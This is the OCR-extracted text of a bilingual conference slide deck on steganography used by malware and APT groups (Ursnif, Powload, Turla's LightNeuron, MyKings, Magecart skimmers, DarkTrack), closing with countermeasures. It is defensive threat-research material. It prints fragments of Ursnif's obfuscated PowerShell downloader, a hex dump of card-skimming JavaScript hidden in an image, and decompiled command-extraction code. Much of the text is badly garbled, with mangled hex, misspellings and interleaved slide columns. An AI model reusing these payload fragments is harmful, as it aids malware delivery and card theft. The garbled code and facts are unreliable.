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La esteganografia (del griego oteyavog steganos, "cubierto" u "oculto", y ypadog graphos, "escritura") trata el estudio y aplicacion de técnicas que
permiten ocultar mensajes u objetos, dentro de otros, llamados portadores, para ser enviados y de modo que no se perciba el hecho.
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A former UK government official has admitted Britain was caught spying
when Russia exposed its use of a fake rock in Moscow to hide electronic
equipment
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WASHINGTON — A former C.LA. officer was sente
to 20 years in prison by a federal judge in Northern
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Former C.I.A. Officer Sentenced
to 20 Years After Spying for China

By Adam Goldman

¥ United States Department of Justice
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Ste'ganography: how al-Qaeda hid secret
documents in a porn video

Digital steganography hides files in plain sight, concealed in image and media files.
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ATTACKS/BREACHES

China-Based Cyber Espionage
Group Reportedly Behind Breach at
Mitsubishi Electric

Personal data on over 8,100 individuals and confidential business

P - - information likely exposed in June 2019 incident.
U.S. Attorneys » Northern District of New York » News ly exe

Jai Vijayan
Adata breach at Japan's Mitsubishi Electric that may have exposed some 200
MB of personal and confidential business data s the latest reminder of the
growing threat many organizations face from sophisticated cyber espionage
groups

Department of Justie:
U.S. Attorney's Office

Northern District of New York

FOR IMMEDIATE RELEASE Wednesday, August 1, 2018

Niskayuna Man Charged With Theft of Trade Secrets

GE Power Engineer Xiaoqing Zheng is Alleged to Have Stolen Trade Secrets Involving
Turbine Technology

The criminal complaint alleges that on or about July 5, Zheng, an engineer emploved by General Electric,
used an elaborate and sophisticated means to remove electronic files containing GE's trade secrets
involving its turbine technologies. Specifically, Zheng is alleged to have used steganography to hide data
files belonging to GE into an innocuous looking digital picture of a sunset, and then to have e-mailed the

" digital picture, which contained the stolen GE data files, to Zheng's e-mail account.
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2020 Cybersecurity Predictions: Four 2019 Trends That Will B
Solidify in the New Year

Uncommon Attack Techniques Will Emerge in Common Software

Cvbersecurity 1s improving each dav, and that means most organizations are aware of commeon
cvberattacks. So, in 2020, malicious actors will turn to uncommeon techniques instead.
Steganography, the process of hiding files in a different format, is one of these uncommeon

attack vectors, and it will grow in popularity as online blogs make it possible for threat actors

around the world to grasp the technique.

https://www.securitymagazine.com/articles/91471-cvbersecurity-predictions-four-2019-trends-that-will-solidify-in-the-new-year
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¢.Es importante? - Esteganografia “ofensiva”

MITRE | ATT&CK Matrices Tactics ~ Techniques ~ Mitigations ~ Groups Software Resources ~ Blog
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Another example of obfuscation is through the use of steganography, a technique of hiding messages or code in images, audio tracks, video
Version: 1.0

Created: 31 May 2017
Last Modified: 25 June 2019

Process Injection (11 SystemTime | cling, or text files. One of the first known and reported adversaries that used steganography activity surrounding Invoke-PSImage. The Duqu

https://attack.mitre.org/techniques/T1027/
https://attack.mitre.org/techniques/T1048/

Rogue Domain Controller malware encrypted the gathered information from a victim's system and hid it into an image followed by exfilirating the image to a C2 server.

Rootkit
— m

171 By the end of 2017, an adversary group used Invoke-PSImage to hide PowerShell commands in an image file (png) and execute the code on
a victim's system. In this particular case the PowerShell code downloaded another obfuscated script to gather intelligence from the victim's
machine and communicate it back to the adversary. 18]

https://mikeward.net/steganography/steganography-use-by-apt-groups
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Esteganografia “ofensiva”

Stegomalware o Stegware is a type of malware that uses steganography to hinder detection.

This type of malware operates by building a steganographic system to hide malicious data within its resources and then extracts and executes
them dynamically. It is considered one of the most sophisticated and stealthy ways of obfuscation.
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EC3 - SPACE » Criminal Use of Information Hiding (Steganography) >

H Welcome!

STEGANOGRAPHY

—=ue-PoL 92 to cybercriminals exploitation =

Initiative under Europol EC3:
Criminal Use of Information Hiding (CUIng)

Recently, various types of information hiding techniques (like steganogr '1r y) are increasingly utilized by the current malware

to hide its existence, communication attempts and confidential ¢ filtration This new trend is high

ghted by the latest

e.9., Hammertoss, Stegoloader, Regin or Dugu.

examples of malicious software that hd‘/\: information hiding

These techniques have been utilized by cybercriminals but were also found useful by spies (e.g., the discovery of the Russian

spy ring in US in 2010) and terrorists (arrest of one of al Qaesda’s members in Berlin with video files containing hidden

information in 2012). Information hiding has been zalso proved useful as a tool for insiders for sensitive data exfiltration.

Evasion de medidas de seguridad perimetral (antivirus, IDS, IPS, Firewall...)
Ocultacion y éejecucion? de cédigo malicioso (stegomalware)
Persistencia (malware, APT, RAT, ...)

Eugene Kasperskyc De_kaspersky - 5 jun. v
e Forget about #cryptograpt 1, - #steganography is the new black for
] cyberesp|onage and the #PLATIN APT group is here to use it to fly under
#cybersecurity radars ka p @ U

Platinum is back
In June 2018, we came across an unusual set of sampies spreading

throughout South and Southeast Asian countries targeting diplomatic, ...

&’ securelist.com
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Esteganografia en malware (<2019)

Estegomedio: imagenes digitales, comentarios (HTML, youtube, twitter, ...), dns-http
Técnicas: LSB-secuencial, EOF — Uso principal: ocultar urls y dlls
Formato: JPG, BMP, PNG, Imagen dentro PDF, favicon, DNS-HTTP traffic

1 - Ocultar datos de configuracion, cédigo ejecutable: ZeusVM (2014), Lurk Downloader (2014), Stegoloader/Gatak (2015),
Vawtrak/Gozi (2015), FakeReg, StegBaus (2016), AdGholas (2016), CryptoMining (IBM-Xforce, 2017), Stegano (2017),
Sundown exploit (2017), CardinalRAT (2017), REDBALDKNIGHT/Daserf (2017), Narwhall Spider (2018), VeryMal (Dec 2018)...

2 - Ocultar la comunicacion con el C&C: Duqu (2011), Morto (2012), Darkcomet (2014), TDSS/Alureon (2010), ShadyRAT
(2011), Janicab (2015), Hommertoss (2015), Instegogram (2016), SunOrcal (2017), TROJAN.MSIL.BERBOMTHUM.AA (2018,

memes)...

3 - Ocultar datos robados: Vbklip (2015)...

La esteganografia se ha utilizado en la ultima década en malware “industrializado” con propdsitos diversos




Oceanlotus APT Group (Abril 2019) — APT32
UrSnif (Feb 2019) LokiBot (Agosto 2019)
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Powload (Mar 2019)

RDAT-Oilrig (Jul, 2020)

MyKings/DarkCloud/Smominru botnet (Dec 2019) Titanium (Nov 2019) — Windows 10 Trojan-backdoor



Stegomalware & APTs en 2019-2020

@ @ } u@ REmp!ny&e

Threat actor Send phishing

email
Excel file with €
malicious VBA script
Bebloh

— N S Basef4 decoding

Kxecute PowerShe Deflate decompressing
script #1

I . | |
Stegomalware Downloa _— —

Extract data using

— 'mage frol steganography Extraccién
=] _ mage Base64 decoding #
. hnst!ng AES decryptio Stegomalware
@ service Base64 decodirig #2

Imgbox.com

Steganography in attacks on industrial enterprises (Jun, 2020) — Bebloh/Shiotob trojan
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https://ics-cert.kaspersky.com/reports/2020/06/17 /steganography-in-attacks-on-industrial-enterprises/
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Stegomalware & APT 2019-2020

Una “pequefia muestra” - Nos centramos en la técnica de ocultacion

C&C -> Adjunto a mail C&C <-> HTML ->
) . —> PDF o JPEG Orden de t ios/tab
C&C <-> PNG (Invoke-PSImage) Abr C&C<->JPEG (EoF)  _> Comandos raen _‘: cac’g:;ae::::IOS/ @ Zipx file attachments
(LSB) -> Powershell 4 A -> PNG/JPEG (LSB)

-> binario

Powload Oceanlotus APT-32 APT37 | LightNeuron/Turla

C&C <-> PNG (LSB) C&C <->PNG (LSB) l

Platinum APT group

Mar - May
-> Powershell Al > shellcode

C&C <-> Wav (LSB) -> DIl

-> criptominer C&C (Ej. Dropbox)
C&C<->PNG T - PNG (LSB)/BMP
-> Backdoor - comandos - Backdoor
MyKingsDarkOlond Smominra botael m Titanium, Win10 Trojan backdoor Xl\,IRig miner Operation G]]OSt > The dukes

JPEG (EoF) - SQL brute force  Sept 2019-Jun2020

PNG Header Nov
C&C <-> JPEG/DNS C&C -» Adjunto a e-mail BMP L5B -=
Comandos/Backdoor (correo basura) -= BMP [L5B) Prolock BITMAP (LSB custom) PNG (custom)
Air-gapped environments - Commands ransomware -> msgslang32.dll > Privilege Escalation

2020 New Magecart Skimmers  [JEE0 USBFerry m m DarkTrack RAT MT3-MontysThree
JPEG (EoF) = Javascript code l PNG (EOF) -> Ejecutable l
Bitcoin blockchain comments EOF -> shellcode

(RETURN field) (VISA, point-of-sale compromises)

Industrial enterprises (2018-Jun. 2020) BMP -> configuration data and
> PNG (LSB) (45 LSB canal azul, 45 LSB canal additional modules, spoolsv.dil
verde) > Powershell

https://github.com/lucacav/steg-in-the-wild




LSB - Stegomalware & APT 2019-2020 -

Ursnif, Powload, Oceanlotus APT-32, Waterbug/Turla,Lokibot, TheDukes,NanoCore RAT,Bebloh*,Qilrig*,MT3,
https://attack.mitre.org/software/S0386/

First of all the malware checks the current TimeZone in order to verify if it is set on +01:00. If true, it

download the next stage from “haxps Ml Jimgur] Jcom/TVEWKQa[ Jpng®. As well as in other recent

“Ursnif is a banking trojan and variant of the Gozi malware observed

. . L L. attacks, the downloaded image hides another powershell stage leveraging steganography
being spread through various automated exploit kits, Spearphishing

. . . i . . . . techniques
Attachments, and malicious links. Ursnif is associated primarily with
data theft, but variants also include components (backdoors, The malware code iterates over each pixel of the image and through several mathematical binary
e . . . ”
spyware, file injectors, etc.) capable of a wide variety of behaviors... operation converts grabs the two Least Significant Bits of every byte of the picture, concatenating
them with other LSBs to produce a complete Powershell code
Categol Description ——ﬁ
MITRE ATT&CK Code i January 2018 | June 2018 2018] February2019 | March2019 [ April 2019 T1 Sif ((e("iex") (. (" "} =name ("*et-H*t"}} | &('El') =Property ('*') | .1
[ T1003 Process hollowing P X mONE -8t ") -Stream) -match 't Ty
" T1055 APC injection X x X & [ "IEX"){&("3V"} ("vOy") ("https: oY i t Bz . E ") ;
&('SV'} (*u') {"Net.WebClient");
Macro document X X X G('SV'Y ('J') "Senv:t . exe":
1004 vesie X sy e :/30p") (&{.("gem") ("Ne*ct™)) (&(" "y ("
! et Rl
- X - :7") ({((&{'gv') {"3Dp"})." "].0gm ))&
T1189 Necurs infrastructure X {a("11 "1 {"Va i "¥)."valug"." E"=clike ["I *Lle™)
— L) . "sane") ;
paiosd e f— x x x x x X (. ("gv') ("3Dp"))."VALUE".((&{'gi') ("varial ")) . "VALUE"} . "iNVOKE" ((. ("gVv') (
- T1192 Drive document Lk - .- '} -‘J'EI.‘.uE}I . t&{ n =) I} t I.- . " }} . "whl |-J H
Inltialf\::ui: — " L"zaps") (&1 4Tt "y {"va y} . ")) . ("va 1)
Execution 1 L}
CAB file X Figure &: image with malicious embedded powershell scri
i The Ursnif Threat Evolution X Figure 7: second powershell script extracted from the steganographic image
Wmic X
Tice Powersnelstage X The sample spread in February 2019 use two new features: the first one is a
S § x several obfuscated powershell stages in order to evade AVs and reduce its
Obfuscation T1027 Vigenere cipher < . . .
— ; - . p P ': detection, the second one is the use of steganography technique. The latter

permit to hide code into a legit image manipulating specific bits. Next, another

https://securityaffairs.co/wordpress/83396/breaking-news/ursnif-banking-malware.html code perform a decryption and execution of malicious code into the victim
machine.



https://securityaffairs.co/wordpress/83396/breaking-news/ursnif-banking-malware.html
https://attack.mitre.org/software/S0386/

Powload gained notoriety as a catalyst for other malware, a
prominent example being Emotet, a banking trojan known for its
modular capabilities. Powload has since remained a cybercrime
staple due to its ability to combine simple infection methods with
constantly evolving features — including capabilities intended for
evading security technology.

By sifting through six months’ worth of data (Jan-Jun 2019)
covering over 50,000 samples from the Trend Micro™ Smart
Protection Network™ infrastructure, we managed 1o gain insight
into how Powload has incorporated new technigues to increase its effectiveness, especially in its
ability to hide from detection. Here's what we've learned.

Powload in the wild

A typical Powload attack uses social engineering techniques to get the user to click on an email
attachment — for example, disguising the email as an invoice document suppasedly from a
supplier. The Powload samples incidents we've observed often use attachments that contain a
macro coded with Visual Basic for Attachments (VBA), which, when clicked, activates a hidden
Power3hell process to download and execute the malware payload. Most Powload variants will
often incorporate obfuscation technigues to avoid hash-based detections.

While PowerShell scripts remain the most common method for downloading and executing the
malware, the methods for tricking users into clicking the attachments and for hiding traces of the
malware from security software are not always the same. We observed some basic techniques that
range from using macro-enabled documents as social engineering lures to using hacking tools for
obfuscation.

https://blog.trendmicro.com/trendlabs-security-intelligence/from-fileless-

technigues-to-using-steganography-examining-powloads-evolution/
https://github.com/peewpw/Invoke-PSImage

https://blog.trendmicro.com/trendlabs-security-intelligence/powload-loads-up-on-evasion-techniques/

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/malicious-document-targets-pyeongchang-olympics/

CoN-cert
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LSB - Stegomalware & APT 2019-2020

Ursnif, Powload, Oceanlotus APT-32, Waterbug/Turla,Lokibot,TheDukes,NanoCore RAT,Bebloh*,Qilrig*,MT3,

How Powload uses steganography

The use of steganography — hiding code within an image — isn't new. Hacking groups, for
instance, are known to use steganography for retrieving their backdoors. Exploit kits employ it to
hide their malvertising traffic, while other threats use it to hide their command-and-control (C&C)
communication.

In Powload's case, it uses steganography to retrieve an image containing malicious code. Based on
the code-extraction routines of the Powload variants we analyzed, they abuse a publicly available
script (Invoke-PSImage) to create the images containing their malicious codes.

The attachments in the spam emails have malicious macro code embedded inside the document
that executes a PowerShell script, which downloads an image hosted online. It then processes the
downloaded image to acquire the code hidden inside the image.

g T (R
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Figure 3. Snapshot of code showing a PowerShell script downloading an image and acquiring the
hidden code using GetPixel (highlighted)
Figure 4. Screenshot of an image confaining the malicious code
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Figure 5. Examples of spam email sent to recipients, using purchase order/invoice- (leff) and
reference material/signboard’-related social engineering lures o urge users to download and click
the attachments



https://blog.trendmicro.com/trendlabs-security-intelligence/powload-loads-up-on-evasion-techniques/
https://blog.trendmicro.com/trendlabs-security-intelligence/from-fileless-techniques-to-using-steganography-examining-powloads-evolution/
https://github.com/peewpw/Invoke-PSImage
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/malicious-document-targets-pyeongchang-olympics/
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LSB - Stegomalware & APT 2019-2020

Ursnif, Powload, Oceanlotus APT-32, Waterbug/Turla,Lokibot,TheDukes,NanoCore RAT,Bebloh*,Qilrig*,MT3,

WAV audio files are now being used to hide
malicious code

Steganography malware trend moving from PNG and JPG to WAV files. =~ ————» ?

POSTED: 20 JUN, 2019 | 12 MIN READ |

Waterbug: Espionage Group Rolls Out
Brand-New Toolset in Attacks Against
Governments

Waterbug may have hijacked a separate espionage group’s infrastructure during
one attack against a Middle Eastern target.
The Waterbug espionage group (aka Turla) has continued to attack governments and international organizations over the

past eighteen months in a series of campaigns that have featured a rapidly evolving toolset and, in one notable instance,

the apparent hijacking of another espionage group’s infrastructure.

https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments
https://threatvector.cylance.com/en _us/home/malicious-payloads-hiding-beneath-the-wav.html

“Cylance said this particular threat actor was hiding DLLs inside WAV
audio files. Malware already-present on the infected host would download
and read the WAV file, extract the DLL bit by bit, and then run it,
installing a cryptocurrency miner application named XMRrig...”

"The use of stego techniques requires an in-depth understanding of the target file format,

Lemos told ZDNet "It is generally used by sophisticated threat actors that want to remain

undetected for a long period of time.

"Developing a stego technique takes time, and several blogs have detailed how threat actors

such as OceanlLotus or Turla implemented payload hiding," Lemos added.

"These publications make it possible for other threat actors to grasp the technique and use it

as they see fit”

A proper way of dealing with steganography is... not dealing with it at all. Since stego is only

used as a data transfer method, companies should be focusing on detecting the point of
entry/infection of the malware that abuses stegonagraphy, or the execution of the
unauthorized code spawned by the stego-laced files.



https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments
https://threatvector.cylance.com/en_us/home/malicious-payloads-hiding-beneath-the-wav.html
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EoF - Stegomalware & APT 2019-2020

MyKings/DarCloud/Smominru botnet, Magecart Skimmers, DarkTrack, TinyPos™, ...

Key findings of this research are the following:

The botnet spreads by attacking weak username/password combinations in MySQL, MS-
5QL, telnet, ssh, IPC, WMI, RDP, and in closed-circuit TV servers, and additionally uses the
EternalBlue exploit for lateral movement.

During the initial infection processes, the botnet secures the computer; removes
processes, files, and settings belonging to malware families operated by other threat
actors; and closes the communication ports that could be used to re-infect the computer
The botnet comprises about 45,000 infected hosts.

The main payloads are the Forshare Trojan and various Monero cryptominers.

According to earlier reports the criminals made about 9,000 XMR in the past, estimated to
be about USS$3 million.

MyKings' current income is more moderate (mainly due to the huge drop in Monero
exchange rate), but the botnet is still mining about US$300 per day.

The criminals behind this botnet prefer to use open source or other public domain
software and have enough skills to make customization and enhancements to the source
code.

The MyKings network attacks go through constant refinement, so they change over time The

tnet prefer to use open source or other public domain software and have

criminals behind thi
enough skilis to customize and enhance existing source code. For instance, the botnet has begun to

axpenment with hiding malware payloads in plam sight, stoning the file in an image using a process

called steganography

ample image, a Windows malware executable [identifiable by its charactenstic MZ header
xiified Jpg photo of Taylor Swift. MyKings'

Inthis
by

operators uploaded this innocuous-looking image file to a public repository, and then used it to deliver

25 and text) appears within the image datanar

an update to the botnet

https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/sophoslabs-uncut-mykings-report.pdf
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At first this looks like an ordinary picture of A closer look reveals it is actually a picture that contains an appended executable, a
Taylor Swift. VMProtect packed version of the SQL brute forcer.

“For the past couple of years, this botnet has been a persistent source of
nuisance-grade opportunistic attacks against the underpatched, low-hanging
fruit of the internet...”



https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/sophoslabs-uncut-mykings-report.pdf
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MyKings/DarCloud/Smominru botnet, Magecart Skimmers, DarkTrack, TinyPos™*,

Skimmers Found in Steganographic Images

Researchers from Malwarebytes analyzed the sample malformed steganographic image in a
Affable Kraut ' hex editor, and find the extra data was added after the final segment.

i @AfableKraut

" Progress Telerik Fiddler Session £248 - hitps:// hinaging.com/media/wysiwyg/FreeShippingpg = o
1 Request H ! Response | 2] Properties

| Headers | Textiiew | Syntaxview | Imageview | Hexview | Webview | Auth | Cathing | Cookies |Raw [ 3s0n |
95 CF B€ FA 43 CE F9 AS SB 87 4& 75 EA 1A BS B8 73 AB CC 00 0¢€ .I_aHIG¥. .Fué.p,s«l. -
3C Bl 81 8F BD 72 B8A 01 2B €E 10 Bl 58 B4 3B E1 OA €8 55 EE 30 “7..hUL
41 C& 73 95 Z4 93 B1 DO BE 54 B7 OF E1 EE OE AD 35 Z5 8E S8 30
A3 38 D8 &C A0 O1 BF 75 72 S8R 01 E5 14 51 40 14 51 45 00 51 45
14 01 45 14 50 li'li'? Ds ['.‘E €1 72 20 €1 €3 74 €5 T€ €L 74 €5 43
€8 €5 €3 EB 50 €1 €T4€5 3D 21 30 2C 73 70 43 €C €1 73 73 49 €E heckPage=!0,spClassin
42 €F €4 7% 3D 22 €E €5 73 74 €5 70 €3 €E €5 €31 €B €F 75 74 Body="ocnestepcheckout

2 €8 78 22 2C 73 TO 4% 44 €5 EE 44 =index-index",K spIDinD
e]El'ld of standard JPEGE €C €C 2C 73 70 54 €3 €D €5 €F 75 |ocument=null,spTimecu
7 72 T4 46 6F 72 €D 49 44 3D 2Z 6D |[t=led,importFormll="n
€1 63 6E 2D ZD 70 €1 73 €D &5 €E 74 ID D &F 6E 74 €8 ZZ 3B &€ |ain--payment-month";f
75 €E 63 74 €3 &F €E 20 €D &1 €3 €E 41 63 74 €5 &F €E 26 23 7B |unction mainAction(}{
73 €5 74 43 €E 74 €5 7Z 76 61 €C I8 €6 75 6E €3 74 €9 €F €E ZE |setIntervali(function(| [
29 7B €E 75 €C &C 3D 3D €4 &F €3 75 €D €5 6E 74 2E €7 &5 74 45 |) {null==document_getE| —
€C €5 €D E5 EE 74 42 75 43 €4 28 €3 €D 70 £F 72 74 46 €F 72 €D |lementByld(imporcForm
49 44 29 26 26 28 €1 64 €4 49 €E 70 75 74 73 28 22 23 70 €1 79 |ID}&&(addInputs("#pay
€D €5 €E 74 5F €€ E€F 72 €D 5F 77 73 €E 7 74 €8 €F |mene form wsnye authe
72 €5 7R €5 EE €5 74 22 2C 22 €3 €E 70 7 H £ & rizenet®, "input™, "mai
€E 2D 2D 70 €1 73 €D 65 €E T4 2D €D €F € Sklmn1er C €1 &4 n--payment-month"),ad
€4 43 GE 70 75 74 73 28 22 23 70 €1 73 €D €5 EE 74 5F €6 €F 72 |dInputs("gpayment_for
€D 5F 77 73 €€ 7% €3 SF €1 75 74 €8 €F 72 €% TA €5 €€ &5 74 2Z |m_wsnyc_authorizenet”
IC 22 69 GE 70 75 T4 22 ZC 22 €D 61 €9 €E 2D ZD 70 €1 79 €D &5 |, "input”,"main--payme
GE 74 ZD 73 €5 61 7Z ZZ 29 ZC €1 €4 €4 45 6E 70 75 74 73 28 22 |nu-year”),addInpuss(”
23 70 €1 7% €D &5 €E 74 SF &€ €F 72 €D 5F 77 73 &E 73 &3 5F &1 |#payment_form_wsnyc_a
7% 74 &8 &F 72 &3 TA &5 €E &5 74 32 IC 32 &5 €E 70 75 74 ZZ 2ZC |uthorizemet”, "imput®,
22 €D €1 €5 €E 2D 2D 70 €1 79 €D 65 €E 74 2D €3 €F 75 6E 74 72 |"main--payment-countr
79 22 29 2C €1 €4 €4 45 €E 70 75 74 73 28 22 23 70 €1 79 €0 &5 |y"),addInpurs(“gpayme
€E 74 5F €€ EF 72 &D SF 77 73 €E 75 €3 5F €1 75 74 &8 EF 72 €5 |nr_form wsnye_sutheri
TA €5 €E 65 74 22 2C 22 €3 6E 70 75 74 22 2C 22 6D €L €3 €E 2D |zenet”,~input®,“main-
2D 70 €1 73 €D €5 €E 74 2D T3 T4 €1 74 €5 22 29 2% TD 2C 35 30 -paynent-state”)) ], 50
30 29 2C 73 €5 74 49 EE 74 €5 72 7€ €1 €C 28 €€ 75 EE €3 74 €3 |0}, secInterval (functi

New digital skimmer/#magecart technique: steganography

A colleague found this a couple of days ago while searching
through our SIEM. The skimmer group uploads or modifies an
existing image and appends the J5 code.

1/5

176 9:38 PM - Dec 26, 2019 ®

) 89 people are talking about this b

https://www.virusbulletin.com/virusbulletin/2019/10/vb2019-paper-inside-magecart-
history-behind-covert-card-skimming-assault-e-commerce-industry/

€F €E 28 25 7B €7 €5 74 44 €1 74 €5 28 295 7D 2C 35 30 30 29 3B eni) {getData(}],E00);

1 G4 £4 E3 EE &S S 23 28 23 7 3Gk 2 EX £ 75 74 sdEniEras (=

10881 [0x2a81] of body Readonly

https://gbhackers.com/web-skimmer/

By analyzing the strings such as onestepcheckout or authorizenet, research confirmed that

https://securityboulevard.com/2020/11/css-js-steganography-in-fake-flash-player- this is the credit-card skimming code.
update-malware/

According to Malwarebyte's research, All compromised sites we found using a
steganographic skimmer were injected with similar code snippets (typically after
the footer element or Google Tag Manager) to load the fake image and parse its
JavaScript content via the slice() method.



https://www.virusbulletin.com/virusbulletin/2019/10/vb2019-paper-inside-magecart-history-behind-covert-card-skimming-assault-e-commerce-industry/
https://securityboulevard.com/2020/11/css-js-steganography-in-fake-flash-player-update-malware/
https://gbhackers.com/web-skimmer/
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The PNG file, when opened, behaves traditionally; it opens a solid colour image, the logo of a
well-known antivirus vendor, in the foreground.

[

*
)

CoN-cert

centro criptolégica nacional

O0002EEQ0 00 C3 €7 36 E7 0OC 01 0S5 08 00
0O0002EF0O 80 00 A6 CD 17 04 27 02 03 OB

b

Figure 1: PNG file — Logo of a known Antivirus Vendor 3005F539 ZF 02 03 OB 38 94 ZE 04 eo 98

Analysing the properties of the PNG file, originally named ‘darknet.jpg’, we see that it'’s a solid

colour image of ‘5612 x 512’ pixels, but with a file size of ‘1.09 MB’, which is unusually large for O00SFS50 |79 2E 65 78 65 I OA 03 02 E2 94
an image such as this.

00002ECO 0C E5 FF OF 00 D6 A4 4F 77 C8 41 1B C3 00 00 00 _.4y..OMOwWEA.A...
00002EDO 00 [49 45 4E 44|AE 42 60 82 p2 61 72 21|1A 07 01 .1enDap [Raxr '] .
07 01 01 E1 8B 97 .AQ6G..cvevss ac—
A4 8B 17 04 80 80 €.:f..'...nc .€€
00002F00 29 20 SC FB AA BB 80 1B 00 09 [41 56 41 53 54 2E| ) \0'»€..I§VAST.
00002F10 OA 03 02 EO 8F 6F A2 C9 64 D6 01 8D 1E [exe]..a.0¢EdO...
00002F20 99 50 70 86 55 54 32 23 68 80 50 87 CE 99 26 48 ™PptUT2#n€P$i™sH
0005F500 OA 03 02 EO 8F 6F A2 C9 64 D6 01 1D 77 56 51 03 £d0. .wVQ.
0005F510 05 04 00 B2 61 72 21|1A 07 01 00 10 3C C7 CO OC APy o
0005F520 01 05 08 00 07 01 01 CD 94 AE 80 00 EO 57 11 C7 .......1"0€.4W.C
3F 20 71 72 DE E9 /..."”..€"? qrbé
0005F540 80 1D 00 11 [72 65 73 75 6C 74 20 2D 20 43 6F 70| €..|result - Cop
25 40 SA 65 Dé 01 Jy.exe.].4”%@Ze0.
000SFS560 B8F 97 06 44 47 77 44 56 22 65 65 50 45 76 E8 B4 .—.DGwWDV"eePEvé’

While examining the binary of the image, we identified that a bunch of data is appended after the
‘IEND’ marker (Figure 2), which typically denotes the end of a PNG file. This is because the PNG
format allows for appending such extraneous data and the decision of interpreting or ignoring
this data is made by the viewing application.

Figure 2: Embedded archive files present after IEND marker

https://www.subexsecure.com/pdf/malware-reports/August-

2020/DarkTrack-Report.pdf

The presence of two ‘Rar!” header markers at ‘0x2ED9" and ‘0x5F513’ indicates the presence of
two archive files, followed by the names of the compressed executables, ‘AVAST.exe’ and result
- Copy.exe’ (Figure 2) present in them respectively.



https://www.subexsecure.com/pdf/malware-reports/August-2020/DarkTrack-Report.pdf
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Platinum APT group, ...

25 =]

Eugene Kaspersky @ @e_kaspersky - 5 jun. v 26 10

Forget about #cry C - #steganography is the new black for 27

cyberespionage and the #PLA 2

nd
C&C interaction " il
Once up and running, the backdoor compares the current time against the "Eradicate Days”, activation date and "Office ‘ X )
Hours” values, and locates valid proxy credentials in "Credential Store” and "Protected Storage”. »
‘When all the rules are fulfilled, the backdoor connects to the malware server and downloads an HTML page. S32C --1234567890--></body>
On the face of it, the HTML suggests that the C&C server is down: B </html>
= - The image above shows that the data is encoded as groups of spaces delimited with tabs. Each group contains from zero to

scvan sp2ois ane he aumber of spaces represents the next three bits of data. For example, the first group on line 944
Domain for sale. Call #1 339-222.5134 of click here 1o make an offer contains six spaces, so it will be decoded as 6,5 = 1105.

However, this is because of the steganography. The page contains embedded commands that are encrypted with an
encryption key, also embedded into the page. The embedded data is encoded with two steganocgraphy technigues and
placed inside the <--1234567890> tag (see below).

Cambiar el orden de los atributos de una etiqueta.
<img src="coco.jpg” alt="galleta”> <img alt="galleta” src="coco.jpg”> Deogol de Stephen Forrest (2002).
La capacidad de ocultacién de informacién por etiqueta es log, (n? atributos!) bits. Por ejemplo, si una etiqueta tiene 8
atributos simplemente cambiando su orden, podemos ocultar log, (8!) = 15.3 bits, casi dos octetos de informacién.
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LightNeuron/Turla, Oilrig*, ...

https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf
https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/

o
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PDF

In the case of a PDF document, the routine first checks for a signature by performing XOR operations
with the data from offset 0xO0B to offset 0x10. One way to satisfy this signature condition is by setting
all the values from offset 0x0B to 0x10 to 0x00

If the previous signature is satisfied, the routine reads the offset of the blob of data containing the command,
which we call the container, from offset OxI1. It also reads the size of the container from offset 0x15. Finally,
it copies the container data. Figure 18 shows these operations.

External Email internal Emadl T —T T :
—r— 1 er = *(int *)(input_data + 17);
I (4] A * . ‘ t_command_container >= (ur n)

= 3 [10]; gned int *)(input_dats + 21);

= t{1); >= (int)dat n - (int)offset_command tainer )
ture(4) » v3; \ L

Microsoft Exchange (1] = o (s); | 55 (int)lencom .

- (11); ‘ return 0i64; g i -

@ (2); | i_data = F_init_string();
2 (5] = A : | string: :append(commar sta, 8data[offset g tainer], | ainer); |
ture[2] = A t[6]);

Transport UghtNeuron Transport . o [12); Figure 1 Extraction of the container data from the PDF {(HexRays output)
Agent ) Transport Agent Agentn = input(3];
1 !g} - ;~ 7 custam slgreture &b 790, 16, B3, 1%, &, 21V, 213, 1N A visualization in a hexadecimal editor of the different fields is shown Figure 19.
13] = L7715
sture(7) = va 4 input[13]; R——
. return (unsi Ykind_of_strnchr( , (char *)custom_signature, 8u) == @; Y : 54 80 00-90
“w 51515151% 1% & 3 2 6F 62 6A-8
5151515151515 A% 3 24 30 28 52
Do nothing P t vakdation of the JPG sgnature (HesRays output
l 9 ! B@ 50-66 41 48
- - — We can view these muttiple XOR (D) ¢ n the input, followed by & COMPAnson, as .t € ¢ L ‘ 48
Call the companion DLL i -~ R SN - 84
e ) mathemantcal equations
toprocesstheemad | Moddytheemai f&v’ .

Figure 19 // Representation in hexadecimal of a PDF containing a container

Block the email @

This PDF, which was modified to embed a command, is still valid as you can see in Figure 20.

of experience. Its operators mainly focus on high-profile targets such as governments and diplomatic
entities in Europe, Central Asia and the Middle East. They are known for having breached major organiza-
tions such as the US Department of Defense in 2008 and the Swiss defense company RUAG in 2014. More
recently, several European countries including France and the Czech Republic went public to denounce
Turla’s attacks against their governments.

In this white paper, we present the analysis of LightNeuron, a backdoor specifically designed to target
Microsoft Exchange mail servers.

LightNeuron can execute commands sent by email.
ICommands are hidden in specially crafted PDF or JPG attachments using steganography.

522 OxOF of the

N secuon, another standard fiedd of the PG format

20 // Modified PDF document with embeded commands for LightNeuron. Snake is another name for Turla.



https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf
https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/

“Gracias” Alfonso, pero....
¢Y ahora qué?éContramedidas?
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. Qué hacemos? - Contramedidas?

Tiempo de la industria

« Detectar esteganografia es una tarea compleja. ¢ Los atacantes la usan bien? 80-20 (seguridad en profundidad)

« Ampliar (¢, continuar?) la industria del estegoanalisis (mas alla de la “academia”).

G Wojciech Mazurczyk @wmazurczyk - 8 nov. 990
An interesting talk & tool confirming the current #stegomalware trend of
embedding malicious payload using #steganography and various data
hiding techniques #CyberSecurity #Malware

ﬁ Alfonso Muiioz (at @safemode) @mindcrypt - 8 nov.

#Arsenal #BHEU #opensource #tools @BlackHatEvents
blackhat.com/eu-20/arsenal/... R

biSeKhat

ATTEND TRABAN, G,

AL SESSIONS.

PRESINTERS

https://github.com/mindcrypt/powerglot | https://github.com/mindcrypt/polyglot

